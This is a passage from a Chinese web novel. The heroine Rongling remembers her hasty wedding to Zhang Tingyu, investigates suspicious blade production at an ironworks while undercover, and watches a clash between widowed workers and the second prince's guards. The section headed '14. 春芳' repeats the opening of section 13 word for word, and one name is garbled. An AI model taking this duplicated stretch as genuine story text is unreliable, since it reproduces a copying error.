若他们拿婚事相逼，那时的她从，还是不从？
因而，未免日后横生枝节，玉鸣柯先手破局，为她择定既不能带来助力，却也绝无威胁的夫婿。
“我再不济，总不会害你，你自个想想吧。”语罢，她像是累极，阖目不再说话。
荣龄语塞。
她愣愣看着玉鸣柯，一时想问她如今为何管自个的事，一时又想知道她怎的这样憔悴，当真是病了？
早年在王府时，玉鸣柯的身子可不荏弱，荣龄吃过许多顿打，每回都记得深刻。
正在这时，一个雪团子钻帘而入。她与荣龄一般，承了玉鸣柯如玉润白的皮肤。
可雪团子双目圆瞪，一手叉腰，一手指着荣龄，怒道：“你为何惹母妃生气？你不知道母妃病了吗？”
是荣毓，玉鸣柯与建文帝之女，年方四岁，最是天真、任性的年纪。
荣龄瞥了她一眼，没理。
“喂！本公主与你说话，你为何不理？”荣毓是宫中最小的皇女，受万千宠爱长大。从没有人这样冷淡地忽视她。
荣龄仍不说话。
玉鸣柯睁开眼，疲惫且无奈地劝道：“阿木尔，荣毓是你妹妹，你当与她相好。”
一瞬间，荣龄已然平息的心中腾起一股尖锐而磅礴的愤恨，“我父王只生了我一个，我没有妹妹！”她怒道。
随后她掀帘而出，再没回头。
三年前的荣龄尚不能把意气彻底没入心底。
出宫的路上，她的步子一时缓，一时急，恰如她心中忽而平静，忽而喧沸的愤怒。
但不论何种心境，玉鸣柯的质问一次次响在耳畔——如今的军中，可还有木华赤的威名？
伴随质问，荣龄再一次心惊。
玉鸣柯说得不错。
世人淡漠而健忘，他们可以忘记怯薛大将木华赤，为何不会再忘南漳王荣信？更何况，建文帝为迎娶弟媳，早抹去荣信许多踪迹以堵住悠悠众口。若再无南漳三卫，不出十年，南漳王的威名便叫雨打风吹去。
故而，南漳三卫绝不可失——只需它存在一日，荣信便是几十万人的信仰，不会平白叫人遗忘。
故而，荣龄拼了命也要守住南漳三卫，哪怕献祭她的青春、婚姻，甚至性命。
荣龄的步子慢下来，沉下来。她看向不远处的红墙金瓦，眼神中剥去残余的天真。
那一刻，她再不是过往的荣龄。
出了宫门，等候半晌的莫桑与万文林迎上前。
“郡主，方查出的张廷瑜的履历。”莫桑递过薄薄的册子。
荣龄略略翻过。
莫桑在一旁细细说：“因时间紧张，咱们只查了大概。这位张大人出自江西道庐阳府，年十九。家中父亲早亡，其父乃前元‘铁笔御史’张芜英。母出自九江程府，于五年前过逝。张大人为母守孝三年后，于庐阳府参加县试、乡试，再于今年的春闱入头甲三名。”
说完张廷瑜的概况，莫桑左右一摸唇上的两撇八字胡，神秘道：“郡主可知为何张大人策论诗赋皆高于状元郎，皇帝却只点他做探花？”
荣龄已从冯领侍处得知答案，她无甚兴趣答道：“因他貌比潘安，神似卫阶。”
“哟？郡主方入大都已知晓，这位张大人的美名当真是…”莫桑打趣道。
可他还未说完，一向少话的万文林突然道：“男人如花似玉有何用？绣花枕头罢了。更别提他克妻，怎能算个良人？”
语落，荣龄与莫桑皆一愣。
莫桑不动声色隔开万文林，“不过是张大人的母亲曾为他与一位青梅竹马的白小姐定亲。只是白家遇匪，十几口人都没了，亲事自然也不再作数。”他解释道。
荣龄倒没放在心上。
她再翻看几页册子，随后重重一阖。
“眼见为实，咱们会会张大人。”她道。
封笔前的几日，朝廷上下俱在赶工。
荣龄一行在张廷瑜的墙头挂了半晌，直到一弦弯月攀上城南的问天阁，一身青色襕袍的张廷瑜才推开小院的破门。
凑在荣龄左侧的莫桑叹一句：“凭借郡主与张大人的样貌，日后的世子、县主定胜过金童玉女。”
荣龄一则是个脸盲，对于样貌的美丑实在没有共鸣。二则婚事于她仅是确保军权不旁落的手段，与人繁衍子息、白头相守，她还没想过。
因而，荣龄平静且认命地忽略这一句评价。
她仔细瞧着院中。
张廷瑜的小院破败，仅一正一耳两间房。
这样的人家自请不起下人。
于是，荣龄眼见张廷瑜收好襕袍，再换出一身浆洗得发白的旧直缀，他捋起两袖，嘴中哼着不知名的小曲来到院中临时搭的灶台。
他手脚利落地濯菜、生火，用短短一炷香的时间端出两菜一饭。
这时，院门外传来老犬的呜咽。
张廷瑜毫不意外，像是正在等它。
他闲适地“哎”一句，随后分出半份饭菜，端着碗出了院门。
“你说你，已是一只古稀老狗了，性子却这样急躁。”他对着一只皮毛稀疏、歪着脑袋召唤他的老狗，语重心长道，“我今日害了风寒，翰林院中又事务多，你等等不行吗？”
老狗不领情，冲他龇牙。
张廷瑜嫌弃一“啧”，却也将饭菜倒入老狗的破碗中。
它闷头吃了半晌，随后又抬起脑袋，呜咽长鸣。
张廷瑜蹲下身，掐住狗耳劝道：“你乃丧家之犬，隆冬时节有食果腹还有何不满？我的厨艺再不济，既吃不死人，便能喂活狗。”
老狗叫张廷瑜掐得扬起脑袋，在这一起一落间，它瞧见趴在墙头的三人。
老狗一愣，立马甩开张廷瑜，奔到墙下猛吠。
荣龄蹲在墙头，天上是浮云卷霭，明月流光，脚下是柴门闻犬吠，风雪夜归人。
她对上张廷瑜望来的视线，心中骂了半晌——偷窥还叫狗抓包，真他娘的丢人！
许久，张廷瑜颔首，“郡主？”他唤道。
到底姜是老的辣。
荣龄尚沉浸在懊悔中时，莫桑早已回神，他状似熟稔地招呼道：“张大人不若先用饭？天冷，容易凉。”
“多谢这位大人。”张廷瑜口中道谢，人却不动分毫，“郡主有事吩咐？”他直直望着荣龄，问道。
二人一蹲一立，一上一下，一者冷峭似霜，一者温润如水。
莫桑眼中一轮，“郡主，我与文林也没用饭，我们先行一步，你与张大人慢聊。”说罢，他拉过不情愿的万文林，纵身飞至另一处墙头。
荣龄心间一梗。
“莫桑叔！”她急道，可回应她的只有两团遁去的黑影。
荣龄在心中怒骂——南漳三卫中怎有
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此等背信弃义之人！
可转回头，她又恰好撞入墙下人的眼中。
一瞬间，江南水意涌来，裹紧她、淹没她，她心中蔓延的火星叫水意一润，只留灰白的余烬。
“郡主不若先下来？”张廷瑜道。
荣龄终于重建好心思，说道：“我找张大人商议赐婚一事。”
随后，她强撑一口气，顶着冷脸落下墙头。
可谁知，今日的运道当真不值在荣龄头上。
她虽武艺高强，可墙头蹲了半晌，终归也要腿麻。落地的一瞬，她只觉一股。疼麻自骨缝升起，又援着筋肉生长，没一会就布满整条腿。
她脚下一歪，往一旁栽去。
自然的，张廷瑜堂堂儿郎，未见死不救。
一只颇有筋骨的手揽上荣龄的腰，没叫她以头抢地。
待她回神，那人身上的破旧直缀离她仅一寸。
二人皆一愣。
再过几息，荣龄头顶才传来问话，“郡主可好？”
荣龄微惊。
她虽长在军营，不似京中贵女计较男女大防。可她也知，二人如今的情形若叫人见了，恐要戳上三月的脊梁骨。
她推开张廷瑜，自个用力跺脚，缓过钻心的麻疼。
张廷瑜站直身，神色磊落，举止坦荡。
如霜月色下，他一身清俊风骨逼人。这人虽处逼仄陋室，着破旧衣衫，他的风采却不掩分毫。
荣龄终于明白，为何张廷瑜家贫至此，仍能位列荣沁的驸马簿中。
这样的人，荣龄不想与之为敌。
她理清心思，坦然道：“张大人，你我的婚事来得猝然。不合我意，想来也不如你心愿。但圣旨既下，你我都不可违例。”
“我今日寻你，其一与你商议，婚事可否一切从简，不设六礼，不陈嫁娶，只你我叩拜天地君亲，即当礼成。”
张廷瑜仔细听过，却不置可否，“其二呢？”他问道。
“其二，我知张大人心有所爱，此事荣龄绝不干涉。但日后我的事，也请张大人不必过问。”荣龄道。
张廷瑜微蹙眉头，望着荣龄问道：“我心有所爱？”
可不等荣龄告知自个已查出他的过往，他又颔首承认：“或许是吧。”
他仍不正面回答，荣龄无甚耐心，便追问道：“张大人意下如何？”
张廷瑜再看她一眼，“在下全听郡主的。”
他这样好说话，倒叫荣龄一愣。
她想了想，郑重承诺：“张大人日后若有所求，只不违正道，南漳王府必无不允。”
张廷瑜颔首，“好，我记下了。”
离去前，荣龄突然想起一事。
“方才，你为何一眼认出我？”她问道。
荣龄记得，他唤“郡主”时语态肯定，毫不迟疑。
张廷瑜抬高视线，落在她眼上三寸，“下官有幸见过郡主，记得郡主眉上的胭脂痣。”
荣龄恍然。
二人再见已是大婚当日。
那日方行完三跪九叩之礼，八百里加急的军报便直送中堂——前元勾结瓦底，十万大军逼抵大关。
荣龄扔了喜扇，一身喜服未脱便跃上马头。
南漳三卫众人飞驰离去。
她在马上回身。
王府前围立送别的众人，其中有一道红色的身影，正是她的便宜夫婿张大人。
本只说婚仪从简，却不料拜堂之礼也折了大半。荣龄觉得对他不住，便遥遥地与他颔首示意。
然而，凉州马脚程快，须臾之间，她已在半街之外。
隔得这样远，也不知他能否瞧见。
这一别便是三年。
12. 荣宗阙
醒来已是次日。
荣龄抱被而起，神色茫然。
她虽与张大人传书日多，但在梦中回忆二人的初见，却是正当的头一回。
梦中的最后一幕再次浮现，那抹远远投来的视线与昨日的一眼重叠，过去与当下，张廷瑜与王序川，慢慢融在一处。
“怎会呢？”荣龄对脑中不自主而生的画面感到费解。
她虽记不清样貌，却可努力比较二人声音——张大人沉一些，王序川更清朗，二者并不相同。
“我定是睡糊涂了。”她自我否认道。
万文秀听见声音，叩门而入。
“郡主可起了？”她问道，又递过一封信，“王序川一早送来的。”
只见荣龄古怪地瞥一眼她手中的信，万文秀好奇唤她：“郡主？”
荣龄却又摇头，如常接过看信。
信中仅几句话，道是他接到独孤氏的指令，亟需一批杂矿。他亲至灵宝县押送，来回需半月。
荣龄盯着杂矿的数量出神许久。
镔铁刀贵在精，不在多。镔铁局一年的产量不过一万余柄。
以荣龄在镔铁局做工的经验推测，冶炼全年的镔铁刀所需镔铁矿约三十万斤，杂矿三万斤。杂矿中，熟铁又十之占八，算到生铁上头，即便算上火耗，也不该超过六千斤。
可独孤氏的头一道指令便叫王序川运来两万斤生铁，她意欲何为？
她再看信。
王序川在信末写道，若遇急情，郡主可寻冯宝助力，下官当快去快回，尽早与郡主会合。
荣龄一面在心中嘀咕，快去快回做什么？说得谁在盼他似的…一面却不自觉舒一口气，不相见也好，免得平白乱了心思。
“对了，这几日可有张大人的信？”她问道。
万文秀掐了掐日子，“尚未满一月，并无信递来。”她为荣龄取来衣裳，打趣道，“郡主思念张大人了？”
荣龄皱眉一“哼”，“我才不似整日看些‘拂墙花影动，疑是玉人来’的小娘子…”话未说完，她叫万文秀掐住腰。
二人笑闹作一团。
可等荣龄离去，万文秀又暗自叹息，哥哥守在郡主身边多年，终归流水无情。
回去后的几日，镔铁局日夜赶工，累得荣龄直不起腰。
酉时末，她终于有一炷香的时间喝一口凉水，就着腌菜疙瘩啃几口噎人的戗面馒头。
她坐在离门口最近的条凳，一抬头便能看见冶火局一径吐烟的风炉烟囱。
荣龄用力咽下喉中的馒头，在心中反复思忖。
远多以往的生铁数量、昼夜不歇的风炉…是因江南水军定下的镔铁刀太多，独孤氏需制作同等数量的疵货以掉包，故而格外忙碌？
她想了又想…
不对！此处有漏洞。
若只需锻造疵货，交付的时间虽紧了些，却绝不至于日夜不歇。
这时，一个念头渐生——或许，独孤氏正同时锻制一真一假两批货。假刀交与江南水军，真刀…自然要给在五莲峰尝到甜头的前元军。
是了，只有如此数量，才能叫镔铁局上下灯火通明！
只是独孤氏如何悄无声息地将几千柄镔铁刀运抵前元？
南境山高水险，信鸟难越，只一条蜿蜒的山道供行人往来。这条山路自大梁境内的上罗计长官司始，止于前元境内的乌蒙。
荣龄派了重兵屯守上罗计长官司，绝无可能叫独孤氏钻了空子，偷运出大批镔铁刀。
她一时没想出个结果，只好草草收了碗筷，顶一头硬风回到日常住的小屋。
屋中的其余人已出门值夜，仅春芳凑在一豆油灯下，针线翻飞地补衣裳。
荣龄唤她一句，“春芳姐，灯太暗了，小心害飞毛眼。”
谁知这寻常的一句话，却叫春芳大惊。她痛呼一声，忙把食指含入嘴中吮血。
荣龄走近，询问她：“没事吧，春芳姐？”
却见春芳将手中的衣裳匆匆塞到身后。“没…没事。不留心扎手了。”她面色慌张，强自解释道。
荣龄不动声色地瞥一眼她身后的衣裳。公服制式，服色却是靛青…这是冶火局的公服。
春芳在替谁缝补衣裳？
不等荣龄再开口，春芳突兀地转开话题，“惊蛰可听说了？再过几日，大都有贵人前来。咱们本就忙得一佛出世，二佛升天，他老人家一来，不知要添多少功夫！”
荣龄的心思转过一道，装作吃惊的样子接话：“大都的贵人？”
春芳掖起公服，拉着荣龄坐到墙根的两处矮凳，“正是那位战神一般的二殿下？”
战神？
荣龄听过南漳王荣信“单刀龙城”，凉州主帅赵文越三战葱岭，也听过怯薛大将木华赤伏沙百里救主，却从未听说一个小小的京南卫统领称得上“战神”二字。
荣龄的眉梢轻挑，嘴中却小意道：“春芳姐懂得可真多！我只听相公说起太子殿下，却从不知道战神一般的二殿下呢！”
“你那早死的相公是读书人，自然中意皇后生的太子殿下，可外头…”春芳左右一看——除了如豆的油灯，屋中的一切都淹入昏暗中…
黑夜是滋长胆量的良药。
她压下嗓音，激动道：“外头早不是这样！二皇子勇冠三军，大都校阅四方四卫时，圣上更亲口夸他，说是…说是…”
她想了半晌，终没记起原文，“哎呀，反正就是那个意思，说二皇子得了他老人家的亲传，是大梁的上将军！太子在一旁听得脸都绿了！”
荣龄眸色渐深。
这事，她在南漳也有耳闻。
可她在千里之外知晓此事，只因有缁衣卫做天下的信源。但春芳只是小小的镔铁局匠人，她如何得知建文帝在帐中说的秘语？
荣龄不动声色，嚅嗫问道：“啊？这话…怕要掉脑袋，春芳姐从哪里听来？”
“掉脑袋”三字一出，春芳短暂膨胀的胆量倏地缩回，她突兀地一掩唇，随后口中变得结巴，“我…我也，也是听道长浑说，不能作数。”
道长…荣龄头个想到的便是不求名、不求利，却叫一众信徒偏信、狂热的长春道。
她欲追问几句，春芳却再次转了话题，“太晚了，明日寅时就要上工，快些睡吧。”
荣龄只好作罢，简单洗漱便钻了被窝。
可就在她昏昏然，即要梦赴高唐时，通铺那头的春芳轻声道：“惊蛰妹子，你睡了吗？我今日说了昏话，你万不可与旁人说。”
荣龄睁眼，只觉半空浮动着沉郁而诡谲的昏黑。可她开口，话中又仅余浓重睡意，“春芳姐你说了啥呀？我困死了，不记得。”
春芳重躺下去，荣龄却没了睡意。
她一时想起隐在黑暗中，未知善恶、不明敌友的长春道，一时又想起自个的老冤家，从小到大的死对头荣宗阙。
因一者为荣信独女，一者为赵文越亲甥，他二人自记事之日起就对“何人为大梁第一名将”争论不休。
“我父王乃三军统帅，赵帅在军中也要听我父王的号令！”这是一身白狐裘、额心点朱，比凳子腿高不了几分的荣龄。
“谁说官大便是第一名将？皇叔在葱岭额尔木图之战遭伏军所击，还是我舅舅带兵驰援。舅舅救了皇叔，他才是第一名将！”这是天生脸臭，嘴里却比面上更臭几分的少年荣宗阙。
正值除夕的群臣之宴。
以建文帝为首，一堆王公大臣、诰命贵女饶有兴致地听两小儿争论。
可话题正中的南漳王与赵文越却不住冒汗。
一个筹划着是否要狠下心，把天不怕地不怕，唯独怕家中王妃的小女狠狠揍一顿。这番胡言若往深了说，可是挑拨大梁的几位主将，其心可诛。
一个寻思稍过会定要给南漳王陪三杯酒——赵文越自视极高，可再高的想法他也从没说给嘴上不把门的臭小子听！再怎样论，荣信职份
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、身份皆高于他，荣宗阙他…他是要害死亲舅不成？
眼见的两个小儿女今夜难逃棍棒伺候，建文帝出口转过了话题，“阿木尔，来皇伯父这里。前几日波斯送了一对异瞳的幼猫。叫苏九陪你瞧瞧，喜欢就都送你。”
那时的荣龄年纪小，很容易就被带跑心思。
可在场较她年长许多的人也不曾在意，其实自那时起，一场帝国的隐忧就已埋在深处。
荣信与赵文越，如同汉时的大司马与飞将军、三国纷争时的诸葛孔明与周公瑾，既是双星璀璨，却也谁都不想被另一人掩了光。
如此二人，注定走向对立的两面。
双雄并立的局面横亘悠长岁月，一如荣龄与荣宗阙的争论自幼年持续至小小青年。待二人习武后，只动嘴皮子的文斗不再叫争强好胜的堂兄妹满足，拳法、刀法、枪法…往往师傅昨日方授，今朝就叫他们拿来武斗。
荣宗柟早因武艺所限，对劝架之事愈发力不从心。就在他不住盘算，是否要找个黄道吉日请来绝顶高手，在宫中镇着火药桶一般的二人时，南漳王荣信力战而亡的消息自扶风岭传来。
荣龄记得，那日是四月廿二，正是颓桑压波，蔷薇倒架的晚春。
她刚与荣宗阙过完整套辛酉刀法，建文帝领着不知何时入宫中的玉鸣柯急步而来。
荣龄以为是自个与荣宗阙械斗，又叫人告给玉鸣柯，恐要吃一顿狠打。
她脑中飞快转过，忙作出受伤的形状，“皇伯父，母妃，二皇兄的木刀砍了我，阿木尔的手坏了。”玉鸣柯若心疼，自不会再揍她。
荣宗阙一听，黑脸道：“阿木尔，你耍赖！你坑我！”
荣龄虽因告黑状心中发虚，可眼下要紧的是逃过当前这顿打。她一瞥荣宗阙，咬牙切齿地以目示意——你就不能有个皇兄的样子让让我？你母妃可不揍人！
可谁知，玉鸣柯全没管她扔在地上的木刀，也未理她方才的瞎话。她抚过荣龄尚稚嫩的双肩，再摩挲她与荣信最为相像的眉眼。
咫尺之间，荣龄自然看见玉鸣柯红肿的双眼，她从不知愁的心中莫名生出一丝不安。
“母妃，你为何哭了？”荣龄想了想，自作聪明地猜测——玉鸣柯许是心疼她受伤而落泪，“母妃别哭，阿木尔骗你的。二皇兄才打不中我，我的手好着呢！”为取信玉鸣柯，她还举起手晃了晃。
可玉鸣柯并未因此重现笑颜。
她阖上眼，豆大的泪珠沿两道深重的旧痕滚落。
“阿木尔，你父王没了。”她哽咽道。
好一会，荣龄只瞪着眼，既不说话，也无动作。
如今的荣龄早已想不起，那时她静滞的心中究竟闪过何种念头。又或者，她其实没有想什么，她只是单纯地没听清玉鸣柯的话，自然也不理解她话中的意思。
因而，荣龄歪过头，天真而困惑地问：“母妃说什么？阿木尔没听清。”
一旁的荣宗阙发出怪异的啸叫：“你父王战死了！皇叔死了，我舅舅才是当之无愧的大梁第一名将！”
语落，荣龄只觉心口叫重物狠狠一锤。
从未有过的闷痛夺取她除痛觉之外的所有感官。
她一时想反驳荣宗阙：“才不是！即便父王战死，他也是大梁第一名将！”一时又想告诉玉鸣柯，她好疼，可她为什么这样疼，她疼得好像要死了。
但她什么话都没有说。
她说不出来，她只觉得疼。
荣龄最后的记忆是建文帝一脚踢翻荣宗阙。
她昏昏茫茫地想，荣宗阙可真讨厌，她再不会喊他二皇兄。
薄被下，荣龄抚过左胸，悠长的岁月翻页而过，她没再感受到难捱的疼。
可剖心剜肺的苦痛有尽时，残余的心悸却绵远无界。
她重阖上眼，不忍也不敢再想。
却在这时，屋中传来窸窣的响声——是春芳。
她深夜起身，要去做什么？
13. 春芳
碧砖沉雪，春芳怀抱靛青的冶火局公服，在甬道落下一行脚印。
荣龄缀在后头，绛色的身影翻飞于菲薄月色落下的阴影中。
没多时，春芳在跨院后门止步，三短一长地叩出暗号后，木门无声洞开。
只见春芳往前一扑，落入一个铁塔般高大的怀中。
荣龄眼睛倏地瞪大，心中五分诧异，可在回想起投筹会那日，巴图林匆忙赶来为春芳挡下扎伊尔的拳头后，剩余的五分又变作了然。
荣龄侧耳听二人的低语。
春芳像是举起手指给巴图林看，“为了给你缝衣裳，人家的手被针扎了好几个洞。”
黑暗中传来亲吻的声音。“我知道，你总是待我最好的。”他粗着嗓子动情道，“待过了这程子，我带你走，去没人认识咱们的地方，咱俩安稳过日子。”
“就你和我？”春芳仰头问，“你当真舍得？”
巴图林起誓：“我要是说了假话，就叫雷公把我劈作两半…”
“别！”他剩余的誓言被春芳捂在手中，“说这起子毒话做什么，我信你便是了。”
荣龄身子紧贴山墙，一面侧耳听野鸳鸯的絮语，一面将巴图林的话连缀入已知的信息中。
身为独孤氏的心腹、镔铁局一人之下的管事，他为何要谋划出奔？
她不是春芳，绝不信巴图林此举只为做快活夫妻，定有其余事叫他不得不放弃此间的名利。
山墙之后是夜白如昼的冶火局，冷而清的朔风不停歇地送来烧煤而生的硝味。荣龄嗅着空气中的刺鼻味道，心中有了猜测。
相拥的二人已在道别，荣龄收回漫开的心思，早春芳一步回了屋中。
待春芳终于睡沉，荣龄侧身，看向通铺另一头隆起的身影。
巴图林是有夫人的，他的夫人还远近闻名的凶悍、泼辣——春芳来镔铁局多年，她不会不知道。
可纵使这样，她也要跟定巴图林？她图什么？
随后，天暖了几日，高升的日头化尽积雪，抚开门外厚重的棉帘。
城中的泥地叫雪水浸得湿滑，行人一时不谨慎，“哎唷”滑倒，惹得旁观的小儿拍掌大笑，高嚷：“今天第五个倒霉蛋咯！”
谁知再过一日，天又变了个儿。朔风一阵紧过一阵，将一切水渍冻作冰凌，就连竿头的湿衣也变得硬如纸甲。
正在最为刺骨的一日，荣龄自酸浆池中收回几无知觉的双手。她想哈气取暖，可口中热气太过稀薄，她连吐几口，还是没回暖一分。
这时，秀儿唤她：“惊蛰，快来烤火。”
酸浆没法加热，金水局众人只能凿开上头的一层冰，在冰水中磨洗兵刃。这活计自做不了许久，往往一炷香过，众人便轮班至檐下的火塘捂回几分热气。如不这样，整段手怕要冻成冰柱子，一敲碎一地。
荣龄在军营多年，早已心志坚定。可南漳常年无雪，这天寒地冻里还要泡冰水的苦头她也是头一遭吃。
荣龄望着肿胀、紫红的双手，忍不住想念自个香软的铺盖。
暖意一阵阵扑来，火塘边的荣龄不住打起哆嗦。
另一旁的春芳自罐中挖出一勺蛇油，又拉过她的手，狠狠地揉按。
荣龄的手早泡出一堆冻疮，叫这一揉，暖意伴着疼痒密密地自双手攀上小臂，直蔓延到心里。
“哎呀，好疼！”她想挣出手，却被春芳更用力地按住，“春芳姐，痒！好痒！”
秀儿看着扭如泥鳅一般的荣龄，打趣道：“惊蛰妹子别怪春芳狠心，不把冻疮揉开，开春便要烂了手。一手的破口浸到酸浆里，啧——”她似想起恐怖的回忆，身子无端一抖，“可真要了命咯！”
又有人在火灰中埋了地蛋与番薯仔。待烤得差不多，一位大姐拿火钳扒出，又扔给给围坐的众人。
荣龄分到一只番薯仔。滚烫的皮肉一径落到手心，她双手互颠，好一会才敢拿稳。
可才啃下第一口，金水局中忽地闯入一队军蛮子。
他们呼呼喝喝，飒踏奔来。手中长刀撞在柱上、墙上，发出骇人声响。
金水局中多是女人。
骤见此景，人人吓得高声尖叫。有的扔了手中的地蛋，快步跑入屋中躲藏。有人慌得绊了门槛，跌在夹冰的酸浆池中。更有人软了身子，只在火塘边蹬脚挣扎，却始终站不起。
荣龄掺一把春芳，扶她站到门页之后。
她又聚起眼神，谨慎打量闯入内里的兵伍——
青色程子衣，外罩银色薄甲，薄甲护心处錾刻麒麟瑞兽，是大都的四方四卫。
这时，一个千户打扮的兵将迈入檐下。他一刀劈开火塘，再一踹里头未燃尽的柴火，直叫亮红的火星扑上砖墙。
“二殿下已至镔铁局，尔等谨言慎行，莫有无状之举。”他再看一眼瑟瑟躲在门后的女人们，神情轻蔑。
他手下的兵丁有样学样，一人一脚踹尽火塘。
至于散落满地的火灰——“你！将此处清扫干净，若脏了二殿下的眼，小心爷劈了你！”千户瞥一眼站在最前头的荣龄，颐指气使道。
荣龄眼中寒星一闪，面上却恭敬应下。
没了火塘取暖，一群人很快如堕冰窟，冷得发抖。更不论方才有人跌入酸浆池中，叫夹冰的酸水一泡，早伤了元气。
看着浑身青紫，气息减弱的同伴，春芳急得直掐手。可门外甲兵神情冷肃，又长刀出鞘，她怕得很。
再过一会，“阿夏昏了。阿夏，阿夏你醒醒！”搂着阿夏的秀儿急声唤道。众人围得更紧，却仍无法渡给阿夏半分热气。
“不行！这样下去阿夏定要没命…”春芳喃喃地说服自己，她再狠狠咬牙，强行提起一股发虚的勇气，高声道，“军爷，求求你们送阿夏去医馆。咱们从后门悄悄地走，绝不会冲撞贵人。”
守在门口的千户回头一瞥，却又冷漠地转回去。
荣龄清扫完火灰正要躬身告退，半分不理春芳苦求的千户突然拽住她的衣襟，“你便是这般做事的？蠢货！”他一撒手，将荣龄掼在地上，“还不拧了帕子，将地上的残迹擦干净！”
荣龄的膝盖磕得生疼，可她既无法拍地而起，揍得肥头大耳的千户亲妈不识，也不能与他争论，烧火留下的黑痕如何能用帕子抹去？
她深吸口气，“哎，我马上拧帕子。”
千户对待阿夏、春芳的轻慢与对荣龄的磋磨刺痛金水局中的每一个人。
曾经，她们出身低微，又早早历经姻缘的坎坷。世人告诫她们，要贤良、忍耐，她们一次次咽下失望，却只换来变本加厉的丈夫的离心、婆母的刁难。
如今，她们千难万苦地入了金水局，在独孤氏的羽翼下喘息。可日子当真好起来了吗？外头说她们“寡妇抱团，龌龊不堪”。眼前的军蛮子也瞧她们不起，二殿下虽来了，可他绝不会来最脏乱的磨洗坊视察，他们凭什么踹了火塘，又逼得一条人命奄奄？
她们的命是不好，可她们也想活着，有尊严、有盼头地活着！
“你们这群草菅人命的畜生！”春芳再忍不住，冲到门口怒骂。她的双手抵上。甲兵的刀柄，不叫他劈下。
见此情景，愈多的人鼓噪着冲到门边，与不可一世的大都四方四卫缠斗一处。
千户又惊又怒。
在他心中，金水局中的寡妇就如
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最破败的浮萍，他只用一根手指就能将她们按入臭泥。
他又没有逼迫她们做什么，不过是在此地暂候，待二殿下走后他自会松了戒防。可她们这般要死要活，是看不起他这千户的分量？
二殿下就在不远处，若叫他听见此间动静，他的千户还做不做了？
念及此，千户“铮”地抽出长刀，“找死！”他咒骂道。
眼见局势升级，荣龄也急起来。
她没法光明正大地施展武艺，打他们个落花流水。她只能没入人群中，趁乱这边一拳，那处一掌，尽可能格开士兵伤人的招式。
可她到底只有一个人。
四方四卫做惯大爷，实是头次叫人挑衅至此。他们一时也上了头，手中失去分寸。
荣龄愈发独木难支。
混乱中，花格窗外走过一行人影。
荣龄眼尖，瞥见一星寒芒——是人群中的一顶银龙冠！
她眼中一亮。交睫间又形随意动，力灌指尖，以一记“佛手莲心”打出随手抓来的蓝田玉坠。
下一瞬，玉坠撞击刀刃的脆响传来，又有人厉声高喝：“何人惊扰二皇子！”
语罢，金水局这头静得能听针落。
千户惊惧万分。
他拖着长刀，刀柄上的手一时紧一时松。雪虐风饕里，他吓出满额的冷汗。
他心中万分不明，怎的就这样点背，没做好差事不说，还将脸丢到二皇子面前！
千户茫然四顾。
视线扫过瑟缩一处的金水局众人时，他心中生出磅礴的恨来——是她们！定是这群肮脏的寡妇把霉运染给他，她们真恶毒，他可真恨呐！
荣宗阙迈入金水局见的第一幕，便是京南卫中千户打扮一人正挥刀砍向跌坐在地的妇人。
他阴冷的面色一沉，“赫哲！”他道。
身旁一人掷出袖间匕首。匕首铿然击上长刀，将之打落。
目睹一切的荣宗阙却微不可见地皱眉。
他目力极佳，在场许只他一人瞥见——赫哲的匕首撞上长刀前，一枚铜钱已弹起长刀刃部！
小小的镔铁局竟有如此高人！
荣宗阙环视四周，只见院中一览无余，并无供人隐身的场所。是故，出手的高人必在眼前的妇人中。
荣龄冒险掷出铜钱后便缩回人群。
她知道，凭借荣宗阙野狗一般的眼神，他定不会漏过这枚铜钱。□□龄尚有许多隐秘要查，她才不想在此刻叫死对头认出。
于是，她将头埋得更低。
赫哲代表荣宗阙上前审问。
春芳叫人扯得发蓬钗落，可她顾不上其他，手脚并用地爬到独孤氏跟前。
她如受了欺负的孩童终于等到外出归来的大人，一面忍不住抽噎，一面诉说方才的惊险。
独孤氏听罢，指节白了一瞬。她沉默一息，却又对赫哲道：“佥事，下官管教不当，叫下头的人冲撞了京南卫，还望佥事看在她们乡野…”
话未说完，赫哲抬手止住她，“事情究竟如何，我自会查明。独孤大人还是先将人送去医馆，”他瞥一眼几无进气的阿夏，淡淡道，“晚了恐又有人嚼舌京南卫。”
独孤氏恭敬应下。
众人七手八脚地将阿夏抬出金水局。
荣龄混在其中，一脚深一脚浅地随人群鱼贯而出。
就在迈出院门的一刻，她忽地察觉一道锐利如海东青的眼神盯入后心。她不敢回头，亦不敢显出丝毫戒备，只如履薄冰又硬做寻常地往前行走。
少息，那道眼神终于放过她，挪到旁人身上。
荣龄暗舒一口气，加快脚步离开。
14. 春芳
碧砖沉雪，春芳怀抱靛青的冶火局公服，在甬道落下一行脚印。
荣龄缀在后头，绛色的身影翻飞于菲薄月色落下的阴影中。
没多时，春芳在跨院后门止步，三短一长地叩出暗号后，木门无声洞开。
只见春芳往前一扑，落入一个铁塔般高大的怀中。
荣龄眼睛倏地瞪大，心中五分诧异，可在回想起投筹会那日，巴图林匆忙赶来为春芳挡下扎伊尔的拳头后，剩余的五分又变作了然。
荣龄侧耳听二人的低语。
春芳像是举起手指给巴图林看，“为了给你缝衣裳，人家的手被针扎了好几个洞。”
黑暗中传来亲吻的声音。“我知道，你总是待我最好的。”他粗着嗓子动情道，“待过了这程子，我带你走，去没人认识咱们的地方，咱俩安稳过日子。”
“就你和我？”春芳仰头问，“你当真舍得？”
巴图林起誓：“我要是说了假话，就叫雷公把我劈作两半…”
“别！”他剩余的誓言被春芳捂在手中，“说这起子毒话做什么，我信你便是了。”
荣龄身子紧贴山墙，一面侧耳听野鸳鸯的絮语，一面将巴图林的话连缀入已知的信息中。
身为独孤氏的心腹、镔铁局一人之下的管事，他为何要谋划出奔？
她不是春芳，绝不信巴图林此举只为做快活夫妻，定有其余事叫他不得不放弃此间的名利。
山墙之后是夜白如昼的冶火局，冷而清的朔风不停歇地送来烧煤而生的硝味。荣龄嗅着空气中的刺鼻味道，心中有了猜测。
相拥的二人已在道别，荣龄收回漫开的心思，早春芳一步回了屋中。
待春芳终于睡沉，荣龄侧身，看向通铺另一头隆起的身影。
巴图林是有夫人的，他的夫人还远近闻名的凶悍、泼辣——春芳来镔铁局多年，她不会不知道。
可纵使这样，她也要跟定巴图林？她图什么？
随后，天暖了几日，高升的日头化尽积雪，抚开门外厚重的棉帘。
城中的泥地叫雪水浸得湿滑，行人一时不谨慎，“哎唷”滑倒，惹得旁观的小儿拍掌大笑，高嚷：“今天第五个倒霉蛋咯！”
